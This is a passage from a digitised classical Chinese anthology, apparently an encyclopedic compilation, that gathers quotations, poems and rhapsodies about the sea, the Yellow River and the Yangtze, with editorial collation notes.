明 激 弗 渝 . 孰 能 怀 之 . 泛 然 靡 拘 .\n晋 孔 宁 子 水 赞 曰 . 澄 鉴 无 虚 . 积 之 成 川 . 湍 飞 莹 谷 . 激 石 泠 然 .\n晋 郭 璞 释 水 赞 曰 . 川 渎 绮 错 . 涣 澜 流 带 . 潜 润 旁 通 . 经 营 华 外 . 殊 出 同 归 . 混 之 东 会 .\n又 弱 水 赞 曰 . 弱 出 昆 山 . 鸿 毛 是 沉 . 北 沦 流 沙 . 南 映\n火 林 . 惟 水 之 奇 . 莫 测 其 深 .\n山 海 经 曰 . 无 皋 之 山 . 南 望 幼 海 . 郭 璞 注 曰 . 即 少 海 水 .\n又 曰 . 发 鸠 之 山 . 有 鸟 名 曰 精 卫 . 是 炎 帝 之 女 . 往 游 于 东 海 . 溺 而 不 反 . 是 故 精 卫 常 取 西 山 之 木 石 . 以 填 东 海 .\n又 曰 . 大 荒 中 有 山 . 名 曰 天 台 . 海 水 之 入 焉 .\n老 子 曰 . 江 海 所 以 能 为 百 谷 王 者 . 以 其 善 下 . 故 能 为 百 谷 王 .\n淮 南 子 曰 . 海 不 让 水 . 积 以 成 其 大 .\n谢 承 后 汉 书 曰 . 汝 南 陈 茂 . 尝 为 交 址 别 驾 . 刺 史 周 敞 . 涉 海 遇 风 . 舡 欲 覆 没 . 茂 拔 剑 呵 骂 水 神 . 风 即 止 息 .\n博 物 志 曰 . 旧 说 . 天 河 与 海 通 . 近 世 有 居 海 渚 者 . 年 年 八 月 . 有 浮 楂 来 过 . 甚 大 . 往 反 不 失 期 . 此 人 乃 多 粮 . 乘 楂 去 . 忽 忽 不 觉 昼 夜 . 奄 至 一 处 . 有 城 郭 屋 舍 . 望 室 中 . 多 见 织 妇 . 见 一 丈 夫 . 牵 牛 渚 次 饮 之 . 此 人 问 此 为 何 处 . 答 曰 . 问 严 君 平 . 此 人 还 . 问 君 平 . 君 平 曰 . 某 年 某 月 . 有 客 星 犯 牛 斗 . 即 此 人 乎 .\n王 隐 晋 书 曰 . 慕 容 晃 上 言 曰 . 臣 躬 征 平 郭 . 远 假 陛 下 之 威 . 将 士 竭 命 . 精 诚 感 灵 . 海 为 结 冰 . 凌 行 海 中 三 百 余 里 . 臣 自 立 国 . 及 问 诸 故 老 . 初 无 海 水 冰 冻 之 岁 .\n神 仙 传 曰 . 麻 姑 谓 王 方 平 曰 . 自 接 侍 以 来 . 见 东 海 三 为 桑 田 . 向 到 蓬 莱 . 水 乃 浅 于 往 者 略 半 也 . 岂 复 为 陵 乎 .\n论 语 曰 . 道 不 行 . 乘 桴 浮 于 海 . 从 我 者 其 由 也 与 .\n庄 子 曰 . 南 海 之 帝 为 倏 . 北 海 之 帝 为 忽 . 中 央 之 帝 为 浑 沌 . 倏 与 忽 时 相 与 遇 于 浑 沌 之 地 . 浑 沌 待 之 甚 厚 . 倏 与 忽 谋 报 浑 沌 之 德 . 曰 . 人 皆 有 七 窍 . 以 视 听 食 息 . 此 独 无 有 . 常 试 凿 一 窍 . 七 日 而 浑 沌 死 .\n又 曰 . 穷 发 之 北 . 有 溟 海 者 . 天 池 也 . 有 鱼 名 曰 鲲 . 化 而 为 鸟 . 名 曰 鹏 . 事 具 鸟 部 .\n又 曰 . 东 海 之 鳖 . 谓 陷 井 之 曰 . 夫 海 . 千 里 之 远 . 不 足 以 举 其 大 . 千 仞 之 高 . 不 足 以 极 其 深 . 禹 之 时 . 十 年 九 潦 而 水 弗 加 益 . 汤 之 时 . 八 年 七 旱 而 涯 不 减 损 . 夫 不 为 顷 久 推 移 . 不 以 多 少 进 退 者 . 此 亦 东 海 之 大 乐 也 . 又 曰 . 海 水 三 岁 一 周 . 流 波 相 薄 . 故 地 动 .\n韩 诗 外 传 曰 . 成 王 时 . 有 越 裳 氏 . 重 三 译 而 朝 . 曰 . 吾 受 命 国 之 黄 发 曰 . 久 矣 . 天 之 不 迅 风 雨 . 海 之 不 波 溢 也 . 三 年 于 兹 矣 . 意 者 中 国 有 圣 人 乎 . 盍 往 朝 之 .\n十 洲 记 曰 . 扶 桑 在 碧 海 之 中 . 地 一 面 万 里 . 太 帝 之 宫 . 太 真 东 王 君 所 治 处 .\n玄 中 记 曰 . 天 下 之 强 者 . 东 海 之 恶 燋 焉 . 水 灌 而 不 已 . 恶 燋 者 . 山 名 也 . 在 东 海 南 方 三 万 里 . 海 水 灌 水 而 即 消 .\n博 物 志 曰 . 汉 使 骠 骑 将 军 霍 去 病 . 北 伐 单 于 . 至 瀚 海 而 还 .\n周 景 式 孝 子 传 曰 . 管 宁 避 地 辽 东 . 经 海 遇 风 . 船 人 危 惧 . 皆 叩 头 悔 过 . 宁 思 . 念 向 曾 如 厕 不 冠 . 即 便 稽 首 . 风 亦 寻 静 .\n西 域 传 曰 . 蒲 昌 海 一 名 盐 泽 .\n【 诗 】 宋 谢 灵 运 游 赤 石 进 帆 海 诗 曰 . 首 夏 犹 清 和 . 芳 草 亦 未 歇 . 水 宿 淹 晨 暮 . 阴 霞 屡 兴 没 . 周 览 倦 瀛 壖 . 况 乃 凌 穷 发 . 川 后 时 安 流 . 天 吴 静 不 发 . 扬 帆 采 石 华 . 挂 席 拾 海 月 .\n齐 谢 朓 望 海 诗 曰 . 沧 波 不 可 望 . 望 极 与 天 平 . 往 往 孤 山 映 . 处 处 春 云 生 . 差 池 远 雁 没 . 飒 沓 群 凫 惊 .\n梁 刘 孝 标 登 郁 洲 山 望 海 诗 曰 . 沧 潦 联 霄 岫 . 曾 岭 郁 巑 崱 . 下 盘 盐 海 底 . 上 转 灵 乌 翼 . 滇 ● 非 可 辩 . 鸿 溶 信 难 测 . 轻 尘 久 弭 飞 . 惊 浪 终 不 息 . 云 锦 曜 石 屿 . 罗 绫 文 水 色 .\n北 齐 祖 孝 征 望 海 诗 曰 . 登 高 临 巨 壑 . 不 知 千 万 里 . 云 岛 相 接 连 . 风 潮 无 极 已 . 时 看 远 鸿 度 . 乍 见 惊 鸥 起 . 无 待 送 将 归 . 自 然 伤 客 子 .\n【 赋 】 后 汉 班 叔 皮 览 海 赋 曰 . 余 有 事 于 淮 浦 . 览 沧 海 之 茫 茫 . 悟 仲 尼 之 乘 桴 . 聊 从 容 而 遂 行 . 驰 鸿 濑 以 缥 鹜 . 翼 飞 风 而 回 翔 . 顾 百 川 之 分 流 . 焕 烂 漫 以 成 章 . 风 波 薄 其 ● ● . 邈 浩 浩 以 汤 汤 . 指 日 月 以 为 表 . 索 方 瀛 与 壶 梁 . 曜 金 璆 以 为 ● . 次 玉 石 而 为 堂 . 蓂 芝 列 于 阶 路 . 涌 醴 渐 于 中 唐 . 朱 紫 彩 烂 . 明 珠 夜 光 . 松 乔 坐 于 东 序 . 王 母 处 于 西 箱 . 命 韩 众 与 歧 伯 . 讲 神 篇 而 校 灵 章 . 愿 结 旅 而 自 托 . 因 离 世 而 高 游 . 骋 飞 龙 之 骖 驾 . 历 八 极 而 回 周 . 遂 竦 节 而 响 应 . 忽 轻 举 以 神 浮 . 遵 霓 雾 之 掩 荡 . 登 云 涂 以 凌 厉 . 乘 虚 风 而 体 景 . 超 太 清 以 增 逝 . 麾 天 阍 以 启 路 . 辟 阊 阖 而 望 余 . 通 王 谒 于 紫 宫 . 拜 太 一 而 受 符 .\n魏 王 粲 游 海 赋 曰 . 乘 菌 桂 之 方 舟 . 浮 大 江 而 遥 逝 . 翼 惊 风 而 长 驱 . 集 会 稽 而 一 睨 . 登 阴 隅 以 东 望 . 览 沧 海 之 体 势 . 吐 星 出 日 . 天 与 水 际 . 其 深 不 测 . 其 广 无 臬 . 章 亥 所 不 极 . 卢 敖 所 不 届 . 怀 珍 藏 宝 . 神 隐 怪 匿 . 或 无 气 而 能 行 . 或 含 血 而 不 食 . 或 有 叶 而 无 根 . 或 能 飞 而 无 翼 . 鸟 则 爰 居 孔 鹄 . 翡 翠 鹔 . 缤 纷 往 来 . 沉 浮 翱 翔 . 鱼 则 横 尾 曲 头 . 方 目 偃 . 大 者 若 山 陵 . 小 者 重 钧 石 . 乃 有 贲 蛟 大 贝 . 明 月 夜 光 . 蠵 ● 玳 瑁 . 金 质 黑 章 . 若 夫 长 洲 别 岛 . 旗 布 星 峙 . 高 或 万 寻 . 近 或 千 里 . 桂 林 藂 乎 其 上 . 珊 瑚 周 乎 其 趾 . 群 犀 代 角 . 巨 象 解 齿 . 黄 金 碧 玉 . 名 不 可 纪 .\n魏 文 帝 沧 海 赋 曰 . 美 百 川 之 独 宗 . 壮 沧 海 之 威 神 . 经 扶 桑 而 遐 逝 . 跨 天 崖 而 托 身 . 惊 涛 暴 骇 . 腾 踊 澎 湃 . 铿 訇 隐 邻 . 涌 沸 凌 迈 . 于 是 鼋 鼍 渐 离 . 泛 滥 淫 游 . 鸿 鸾 孔 鹄 . 哀 鸣 相 求 . 杨 鳞 濯 翼 . 载 沉 载 浮 . 仰 唼 芳 芝 . 俛 漱 清 流 . 巨 鱼 横 奔 . 厥 势 吞 舟 . 尔 乃 钓 大 贝 . 采 明 珠 . 搴 悬 黎 . 收 武 夫 . 窥 大 麓 之 潜 林 . 睹 摇 木 之 罗 生 . 上 蹇 产 以 交 错 . 下 来 风 之 泠 泠 . 振 绿 叶 以 葳 蕤 . 吐 分 葩 而 扬 荣 .\n晋 木 玄 虚 海 赋 曰 . 昔 在 帝 妫 臣 唐 之 世 . 洪 涛 澜 汗 . 万 里 无 际 . 江 河 既 导 . 万 穴 俱 流 . 掎 拔 五 岳 . 竭 涸 九 州 . 于 廓 灵 海 . 长 为 委 输 . 去 声 . 其 为 怪 . 则 乃 浟 音 亦 . 潋 ● . 浮 天 ○ 原 讹 大 . 据 文 选 十 二 改 . 无 岸 . 波 如 连 山 . 乍 合 乍 散 . 嘘 吸 百 川 . 洗 涤 淮 汉 . 若 乃 霾 翳 潜 消 . 莫 振 莫 竦 . 轻 尘 不 飞 . 纤 罗 不 动 . 犹 尚 呀 呷 . 余 波 独 涌 . 若 乃 边 荒 速 告 . 王 命 急 宣 . 飞 迅 鼓 楫 . 泛 海 凌 山 . 于 是 候 劲 风 . 揭 百 尺 . 维 长 梢 . 挂 帆 席 . 望 涛 远 决 . 冏 然 鸟 逝 . 一 越 三 千 . 不 终 朝 而 济 所 届 . 若 乃 负 秽 临 深 . 虚 誓 愆 祈 . 则 有 海 童 邀 路 . 马 衔 当 蹊 . 天 吴 乍 见 而 髣 佛 . ● 象 暂 晓 而 闪 尸 . 尔 其 大 量 也 . 则 南 澰 朱 崖 . 北 洗 天 墟 . 东 演 析 木 . 西 薄 青 徐 . 经 纶 瀴 溟 . 万 万 有 余 . 吐 云 霓 . 含 龙 鱼 . 隐 鲲 鳞 . 潜 云 居 . 其 垠 则 有 天 琛 水 怪 . 鲛 人 之 室 . 瑕 石 诡 晖 . 鳞 甲 异 质 . 繁 彩 扬 华 . 万 色 隐 鲜 . 阳 冰 不 治 . ○ 文 选 十 二 作 冶 . 阴 火 潜 燃 . 其 鱼 则 横 海 之 鲸 . 突 杌 孤 游 . 茹 鳞 甲 . 吞 龙 舟 . 若 其 毛 翼 产 鷇 . 剖 卵 成 禽 . 凫 雏 离 ● . 鹤 子 淋 渗 . 群 飞 侣 浴 . 戏 广 浮 深 . 且 其 为 器 也 . 苞 干 之 奥 . 括 坤 之 区 . 唯 神 是 宅 . 亦 祇 是 庐 . 何 奇 不 有 . 何 怪 不 储 . 茫 茫 积 流 . 含 形 内 虚 . 旷 哉 坎 德 . 卑 以 自 居 .\n晋 潘 岳 沧 海 赋 曰 . 徒 观 其 状 也 . 则 汤 汤 荡 荡 . 澜 漫 形 沉 . 流 沫 千 里 . 悬 水 万 丈 . 测 之 莫 量 其 深 . 望 之 不 见 其 广 . 无 远 不 集 . 靡 幽 不 通 . 群 溪 俱 息 . 万 流 来 同 . 含 三 河 而 纳 四 渎 . 朝 五 湖 而 夕 九 江 . 阴 霖 则 兴 云 降 雨 . 阳 霁 则 吐 霞 曜 日 . 煮 水 而 盐 成 . 剖 蚌 而 珠 出 . 其 中 有 蓬 莱 名 岳 . 青 丘 奇 山 . 阜 陵 别 岛 . 瑰 其 闲 . 其 山 则 ● 崔 嵬 崒 . 嵯 峨 隆 屈 . 披 沧 流 以 特 起 . 擢 崇 基 而 秀 出 . 其 鱼 则 有 吞 舟 鲸 鲵 . ● 龙 须 . 蜂 目 豺 口 . 狸 班 雉 躯 . 怪 体 异 名 . 不 可 胜 图 . 其 虫 兽 则 素 蛟 丹 虬 . 元 龟 灵 鼍 . 脩 鼋 巨 鳖 . 紫 贝 螣 蛇 . 玄 螭 蚴 虬 . 赤 龙 焚 蕴 . 迁 体 改 角 . 推 旧 纳 新 . 举 扶 摇 以 抗 翼 . 泛 阳 侯 以 濯 鳞 . 其 禽 鸟 则 鶠 鸿 鹔 . 驾 ○ 当 作 鴐 . 鹅 鵁 䴖 . 朱 背 炜 烨 . 缥 翠 葱 青 . 详 察 浪 波 之 来 往 . 遍 听 奔 激 之 音 响 . 力 势 之 所 回 薄 . 润 泽 之 所 弥 广 . 普 天 之 极 大 . 横 率 土 而 莫 两 .\n晋 庾 阐 海 赋 曰 . 昔 禹 启 龙 门 . 群 山 既 凿 . 高 明 澄 气 而 清 浮 . 厚 载 势 广 而 盘 礴 . 灌 注 百 川 . 控 清 引 浊 . 始 乎 滥 觞 . 委 输 大 壑 . 若 夫 长 风 鼓 怒 . 涌 浪 碎 磕 . 飏 波 于 万 里 之 闲 . 漂 沫 于 扶 桑 之 外 . 于 是 百 川 辐 凑 . 四 渎 横 通 . 回 泱 漭 . 耸 散 穹 隆 . 映 晓 云 而 色 暗 . 照 落 景 而 俱 红 . 惊 浪 峣 峨 . 眇 漫 瀄 汩 . 漭 潺 湲 . 浮 天 沃 日 . 鲸 鲵 蕴 而 乍 见 . 伏 螭 涌 而 竞 游 . 灵 鼍 朱 鳖 . 出 没 争 浮 . 螣 龙 掣 水 . 巨 鳞 吞 舟 .\n晋 孙 绰 望 海 赋 曰 . 五 湖 同 浸 . 九 江 丛 溉 . 抱 河 含 济 . 吞 淮 纳 泗 . 南 控 沅 湘 . 西 引 泾 渭 . 洲 渚 迢 递 以 疏 属 . 岛 屿 绵 邈 以 牢 罗 . 殖 嵬 崔 之 碣 石 . 构 穹 隆 之 柯 . 玄 奥 之 府 . 重 刃 之 房 . 鳞 汇 万 殊 . 甲 产 无 方 . 包 随 珠 . 衔 夜 光 . 玳 瑁 熠 烁 以 泳 游 . 脚 蠵 焕 烂 以 映 涨 . ● 贝 含 素 而 表 紫 . 蠳 螺 络 舟 而 带 缃 . 青 甲 芬 以 微 扇 . 玄 木 杳 眇 以 舒 芳 . 其 卉 木 则 绿 苔 石 发 . 蔓 以 流 绵 . 紫 茎 菎 综 . 解 以 被 渚 . 华 组 依 波 而 锦 披 . 翠 纶 扇 风 而 绣 举 . 长 鲸 岳 立 以 截 浪 . 虭 扬 鬐 以 排 流 . 巨 鳌 赑 ● 以 冠 山 . 乌 呼 以 吞 舟 . 鹏 为 羽 桀 . 鲲 称 介 豪 . 翼 遮 半 天 . 背 负 重 霄 . 举 翰 则 宇 宙 生 风 . 抗 鳞 则 四 渎 起 涛 . 考 万 川 以 周 览 . 亮 天 池 之 综 纬 . 弥 纶 八 荒 . 亘 带 九 地 . 昏 明 注 之 而 不 溢 . 尾 闾 泄 之 而 不 匮 .\n齐 张 融 海 赋 曰 . 尔 其 海 之 状 也 . 则 穷 区 没 渚 . 万 里 藏\n岸 . 控 会 河 济 . 朝 总 江 汉 . 湍 转 则 日 月 似 惊 . 浪 动 则 星\n河 如 覆 . 展 转 从 横 . 扬 珠 起 玉 . 峰 势 崇 高 . 岫 形 参 错 .\n或 如 前 而 未 进 . 乍 非 迁 而 已 却 . 却 瞻 无 后 . 向 望 何 前 .\n长 寻 高 眺 . 唯 水 与 天 . 若 乃 山 横 蹙 浪 . 风 倒 摧 波 . 磊 若\n惊 山 碣 岭 以 竦 石 . 郁 若 飞 烟 奔 云 以 振 柯 . 连 瑶 光 而 交 彩\n. 接 玉 绳 以 通 华 . 尔 其 奇 名 出 录 . 诡 物 无 书 . 高 岸 乳 鸟\n. 横 閞 产 鱼 . 脚 蠵 玳 瑁 . 绮 贝 绣 螺 . 玄 珠 互 采 . ○\n原 讹 牙 米 . 据 冯 校 本 及 明 本 改 . 绿 紫 相 华 .\n又 曰 . 阳 纡 之 山 . 河 出 其 中 . 陵 门 之 山 . 河 出 其 中 .\n毛 诗 曰 . 新 台 . 刺 卫 宣 公 也 . 纳 伋 之 妻 . 作 新 台 于 河 上 而 要 之 . 国 人 恶 之 . 而 作 是 诗 也 . 新 台 有 泚 . 河 水 沵 沵 .\n又 曰 . 谁 谓 河 广 . 一 苇 杭 之 . 谁 谓 宋 远 . 跂 予 望 之 .\n左 传 曰 . 周 诗 有 之 曰 . 俟 河 之 清 . 人 寿 几 何 .\n又 曰 . 楚 昭 王 有 疾 . 卜 河 为 祟 . 大 夫 请 祭 . 王 曰 . 江 汉 沮 漳 . 楚 之 望 也 . 河 非 所 获 罪 . 遂 弗 祭 .\n谷 梁 传 曰 . 梁 山 崩 . 壅 遏 河 三 日 不 流 . 晋 君 召 伯 尊 . 伯 尊 过 . 遇 辇 者 问 焉 . 辇 者 曰 . 君 亲 素 缟 师 . 群 臣 哭 之 . 既 而 祠 焉 . 伯 尊 至 . 君 问 之 . 伯 尊 如 其 言 . 而 河 流 矣 . 左 传 云 伯 宗 .\n孝 经 援 神 契 曰 . 河 者 水 之 伯 . 上 应 天 汉 .\n吕 氏 春 秋 曰 . 古 龙 门 未 开 . 吕 梁 未 发 . 河 出 孟 门 . 大 溢 逆 流 . 名 曰 洪 水 . 禹 乃 决 流 疏 河 . 为 彭 澧 之 漳 . ○ 吕 氏 春 秋 爱 类 篇 作 障 . 所 活 者 千 八 百 国 . 此 禹 之 功 也 .\n史 记 曰 . 元 光 中 . 河 决 于 瓠 子 . 于 是 天 子 已 用 事 万 里 沙 . 则 还 临 决 河 . 沉 白 马 玉 璧 于 河 . 令 群 臣 从 官 . 自 将 军 以 下 . 皆 负 薪 填 决 河 . 而 取 淇 园 之 竹 以 为 揵 . 天 子 既 临 河 决 . 悼 功 之 不 成 . 乃 作 瓠 子 之 歌 .\n又 曰 . 秦 灭 六 国 . 自 以 获 水 德 之 瑞 . 更 名 河 曰 德 水 .\n韩 诗 外 传 曰 . 申 徒 狄 非 其 世 . 将 自 投 于 河 . 崔 嘉 闻 而 止 之 曰 . 圣 仁 之 人 . 民 之 父 母 也 . 今 为 濡 足 . 不 救 溺 人 . 可 乎 . 申 徒 曰 . 昔 桀 杀 龙 逢 . 纣 杀 比 干 . 而 亡 天 下 . 吴 杀 子 胥 . 陈 杀 泄 冶 . 而 灭 其 国 . 非 无 圣 智 . 不 用 故 也 . 遂 负 石 而 沉 于 河 .\n淮 南 子 . 河 以 逶 蛇 故 能 远 .\n又 曰 . 河 水 九 折 注 海 而 流 不 绝 者 . 有 昆 仑 之 输 也 .\n物 理 论 曰 . 河 色 黄 赤 . 众 川 之 流 . 盖 浊 之 也 . 百 里 一 小 曲 . 千 里 一 大 曲 一 直 .\n尔 雅 曰 . 水 自 河 出 为 雍 .\n河 出 昆 仑 墟 . 色 白 .\n山 海 经 曰 . 积 石 之 山 . 其 下 有 石 门 . 河 水 冒 以 西 南 流 .\n庄 子 曰 . 河 润 九 里 . 泽 及 三 族 .\n楚 辞 曰 . 与 汝 游 兮 九 河 . 冲 风 起 兮 水 扬 波 .\n【 诗 】 梁 范 云 度 黄 河 诗 曰 . 河 流 迅 且 浊 . 汤 汤 不 可 陵 . 桧 楫 难 为 榜 . 松 舟 才 自 胜 . 空 亭 偃 旧 木 . 荒 畴 余 故 塍 . 不 睹 行 人 迹 . 但 见 狐 兔 兴 . 寄 言 河 上 老 . 此 水 何 当 澄 .\n【 赋 】 晋 成 公 绥 大 河 赋 曰 . 览 百 川 之 弘 壮 . 莫 尚 美 于 黄 河 . 发 昆 仑 之 峻 极 . 出 积 石 之 嵯 峨 .\n魏 应 玚 灵 河 赋 曰 . 咨 灵 川 之 遐 原 . 于 昆 仑 之 神 丘 . 冲 积 石 之 重 险 . 披 山 麓 而 溢 浮 . 涉 津 路 之 峻 泉 . 播 九 道 乎 中 州 . 汾 鸿 踊 而 腾 鹜 . 恒 亹 亹 而 徂 征 . 肇 乘 高 而 迅 逝 . 阳 侯 沛 而 振 惊 . 有 汉 中 叶 . 金 堤 隤 而 瓠 子 倾 . 兴 万 乘 而 亲 务 . 董 群 后 而 来 营 . 下 淇 园 之 丰 篠 . 投 玉 璧 而 沉 星 . 若 夫 长 杉 峻 槚 . 茂 栝 芬 橿 . 扶 流 灌 列 . 映 水 荫 防 . 隆 条 动 而 畅 清 风 . 白 日 显 而 曜 殊 光 .\n【 颂 】 宋 鲍 昭 河 清 颂 曰 . 夫 四 皇 六 帝 . 树 声 长 世 . 大 宝 也 . 泽 浸 群 生 . 国 富 刑 清 . 鸿 德 也 . 制 礼 裁 乐 . 淳 风 迁 俗 . 文 教 也 . 诛 箠 羯 黠 . 束 颡 象 ● . 武 功 也 . 鸣 鸟 跃 鱼 . 涤 秽 河 渠 . 至 祥 也 . 大 宝 鸿 德 . 文 教 武 功 . 其 崇 如 此 . 幽 明 同 赞 . 神 祇 与 能 . 厥 应 如 彼 . 唯 天 为 大 . 尧 实 则 之 . 抑 又 闻 之 . 势 之 所 覃 者 浅 . 则 美 之 所 传 者 近 . 道 之 所 感 者 深 . 则 庆 之 所 流 者 远 . 圣 命 难 谌 . 皇 历 攸 归 . 谋 从 筮 协 . 神 与 民 推 . 黄 旗 西 映 . 紫 盖 东 晖 . 纳 瑞 璃 玉 . 升 政 衡 玑 . 污 彼 四 渎 . 媚 此 双 川 . 伏 灵 遥 纪 . 閟 贶 遐 年 . 澄 波 昆 丘 . 镜 流 葱 山 .\n【 铭 】 后 汉 李 尤 河 铭 曰 . 洋 洋 河 水 . 赴 宗 于 海 . 经 自\n中 州 . 龙 图 所 在 . 昔 周 武 诸 侯 . 会 于 孟 津 . 鱼 入 王 舟 .\n乃 往 克 殷 . 大 汉 承 绪 . 怀 附 遐 邻 . 邦 事 来 济 . 各 贡 厥 珍\n.\n又 曰 . 三 江 既 入 . 震 泽 底 定 .\n春 秋 元 命 苞 曰 . 牛 女 为 江 潮 . 江 潮 者 . 所 以 开 神 润 化 . 故 其 气 湍 急 .\n孙 卿 子 曰 . 子 路 盛 服 见 孔 子 . 孔 子 曰 . 由 . 是 襜 襜 者 何 也 . 在 昔 江 出 于 汶 山 . 其 始 出 . 源 可 以 滥 觞 . 及 其 至 江 之 津 也 . 不 方 舟 . 不 避 风 . 不 可 涉 也 . 非 唯 下 流 水 耶 . 今 汝 衣 服 既 盛 . 颜 色 充 盈 . 天 下 且 孰 肯 谏 汝 乎 .\n列 女 传 曰 . 楚 昭 王 贞 姜 . 齐 女 也 . 昭 王 出 游 . 留 夫 人 渐 台 . 江 水 大 至 . 使 使 者 迎 夫 人 . 忘 持 符 . 夫 人 不 肯 出 . 使 者 还 取 符 . 未 及 . 台 已 坏 . 流 水 而 死 . 事 具 人 部 贤 妇 人 篇 .\n又 曰 . 广 汉 姜 诗 妻 . 事 姑 至 孝 . 姑 好 饮 江 水 . 水 去 家 七 里 . 妻 常 鸡 鸣 溯 流 而 汲 . 而 风 雪 . 不 时 得 水 . 诗 责 遣 之 . 妻 寄 邻 家 . 纺 绩 给 与 . 诗 闻 追 还 . 舍 侧 立 有 涌 泉 出 . 味 如 江 水 .\n谢 承 后 汉 书 曰 . 吴 郡 王 闳 . 渡 钱 塘 江 . 遭 风 . 船 欲 覆 . 闳 拔 剑 斫 水 . 骂 五 ○ 太 平 御 览 六 十 作 伍 . 子 胥 . 水 息 得 济 .\n吴 志 曰 . 魏 文 帝 出 广 陵 . 望 大 江 曰 . 彼 有 人 焉 . 未 可 图 也 . 乃 还 .\n吴 录 曰 . 书 云 . 三 江 既 入 . 震 泽 底 定 . 震 泽 . 吴 西 南 太 湖 也 .\n又 曰 . 步 骘 表 言 . 此 降 人 说 . 北 多 作 布 囊 . 欲 以 盛 沙 塞 大 江 . 吴 主 见 吕 岱 . 说 . 骘 言 北 欲 以 沙 囊 塞 江 . 每 读 其 表 . 辄 独 失 笑 . 此 江 自 开 辟 以 来 . 宁 可 以 囊 塞 之 乎 .\n【 诗 】 梁 沈 约 泛 永 康 江 诗 曰 . 长 枝 萌 紫 叶 . 清 源 泛 绿 苔 . 山 光 浮 水 至 . 春 色 犯 寒 来 . 临 睨 信 永 矣 . 望 美 暧 悠 哉 . 寄 言 幽 闺 妾 . 罗 袖 勿 空 裁 .\n又 渡 新 安 江 贻 京 邑 游 好 诗 曰 . 眷 言 访 舟 客 . 兹 川 信 可 珍 . 洞 澈 随 深 浅 . 皎 镜 无 冬 春 . 千 仞 写 高 树 . 百 丈 见 游 鳞 . 纷 吾 隔 嚣 滓 . 宁 可 濯 衣 巾 . 愿 以 潺 湲 末 . 沾 君 衣 上 尘 .\n梁 任 昉 济 浙 江 诗 曰 . 昧 旦 乘 轻 风 . 江 湖 忽 来 往 . 或 与 归 波 送 . 乍 逐 流 上 . 近 涯 无 目 . 远 峰 更 兴 想 . 绿 树 悬 宿 根 . 丹 崖 颓 久 壤 .\n又 严 陵 濑 诗 曰 . 群 峰 此 峻 极 . 参 差 百 重 嶂 . 清 浅 既 涟 漪 . 激 石 复 奔 壮 . 神 物 徒 有 造 . 终 然 莫 能 仗 .\n梁 刘 孝 绰 和 太 子 落 日 望 水 诗 曰 . 川 平 落 日 迥 . 落 照 满 川 涨 . 复 此 沦 坡 池 . 泒 引 别 沮 漳 . 耿 耿 流 长 脉 . 熠 熠 动 轻 光 . 临 泛 自 多 美 . 况 乃 还 故 乡 . 榜 人 夜 理 楫 . 桌 女 闇 成 妆 . 欲 待 春 江 曙 . 争 涂 向 洛 阳 .\n梁 王 台 卿 临 沧 波 诗 曰 . 高 轩 临 不 测 . 清 江 穷 广 深 . 天 边 生 岸 影 . 水 上 结 云 阴 . 风 来 白 华 起 . 潮 满 黄 沙 沉 .\n又 泛 江 诗 曰 . 春 江 下 白 帝 . 画 舸 向 黄 牛 . 锦 缆 回 沙 碛 . 兰 桡 避 荻 洲 . 湿 花 随 水 泛 . 空 巢 逐 树 流 . 岸 社 多 乔 木 . 山 城 足 迥 楼 .\n陈 阴 铿 晚 出 新 亭 诗 曰 . 大 江 一 浩 荡 . 离 悲 足 几 重 . 潮 落 犹 如 盖 . 云 昏 不 作 峰 . 远 戍 唯 闻 鼓 . 寒 山 但 见 松 . 九 十 方 称 半 . 归 途 讵 有 踪 .\n【 赋 】 东 晋 郭 璞 江 赋 曰 . 咨 五 才 之 并 用 . 寔 水 德 之 灵 长 . 惟 岷 山 之 导 江 . 初 发 源 于 滥 觞 . 总 括 汉 泗 . 兼 包 淮 湘 . 并 吞 沅 澧 . 汲 引 沮 漳 . 源 二 分 于 崌 崃 . 流 九 泒 乎 浔 阳 . 鼓 洪 涛 于 赤 岸 . 沦 余 波 于 柴 桑 . 注 五 湖 以 漫 漭 . 灌 三 江 而 漰 沛 . 滈 汗 六 州 之 域 . 经 营 炎 景 之 外 . 呼 吸 万 里 . 吐 纳 灵 潮 . 自 然 往 复 . 或 夕 或 朝 . 若 乃 巴 东 之 峡 . 夏 后 疏 凿 . 绝 岸 万 丈 . 璧 立 霞 駮 . 碧 沙 溃 沱 而 往 来 . 巨 石 硉 矹 以 前 却 . 鱼 则 江 豚 海 狶 . 叔 鲔 王 鳣 . ● ● ● . 鲛 鳐 ● 鲢 . 尔 其 水 物 怪 错 . 则 有 王 珧 海 月 . 土 肉 石 华 . 琐 蛣 腹 蟹 . 水 母 目 虾 . 紫 蚖 如 渠 . 洪 蚶 专 车 . 琼 ● 晞 曜 以 莹 珠 . 石 ● 应 节 而 扬 葩 . 若 乃 龙 鲤 一 角 . 奇 鸧 九 头 . 有 鳖 三 足 . 有 龟 六 眸 . 赪 蟞 肺 跃 而 吐 玑 . 文 ● 磬 鸣 以 孕 璆 . ● 马 腾 波 以 嘘 蹀 . 水 兕 雷 咆 乎 阳 侯 . 雹 布 余 粮 . 星 离 沙 镜 . 青 纶 竞 纠 . 缛 组 争 映 . 石 帆 蒙 笼 以 盖 屿 . 蓱 实 时 出 而 漂 泳 . 其 下 则 金 矿 丹 砾 . 云 精 烛 银 . 鸣 石 列 乎 阳 渚 . 浮 磬 肆 乎 阴 滨 . 其 羽 族 则 有 晨 鹄 天 鸡 . 鴢 鸥 ● . 千 类 万 声 . 自 相 喧 聒 . 繁 蔚 芳 蓠 . 隐 蔼 水 松 . 涯 灌 芊 萰 . 潜 荟 葱 茏 . 爰 有 包 山 洞 庭 . 巴 陵 地 道 . 潜 达 傍 通 . 幽 岫 窈 窕 . 金 精 玉 英 瑱 其 里 . 瑶 珠 怪 石 綷 其 表 . 海 童 之 所 巡 游 . 琴 高 之 所 灵 矫 . 冰 夷 倚 浪 以 傲 睨 . 江 妃 含 颦 而 ● 眇 . 若 乃 宙 宇 澄 寂 . 八 风 不 翔 . 舟 子 于 是 搦 棹 . 涉 人 于 是 檥 榜 . 漂 飞 云 . 运 艅 艎 . 舳 舻 相 属 . 万 里 连 樯 . 溯 回 沿 流 . 或 渔 或 商 . 长 风 ● 以 增 扇 . 广 莫 ● 音 丽 . 而 气 整 . 徐 而 不 ● . 疾 而 不 猛 . 鼓 帆 迅 越 . ● 涨 截 浻 . 倏 忽 数 百 . 千 里 俄 顷 . 于 是 芦 人 渔 人 . 摈 落 江 山 . 衣 则 羽 褐 . 食 惟 蔬 . 或 挥 轮 于 悬 碕 . 或 中 濑 而 横 旋 . 忽 忘 夕 而 宵 归 . 咏 采 菱 以 叩 舷 . 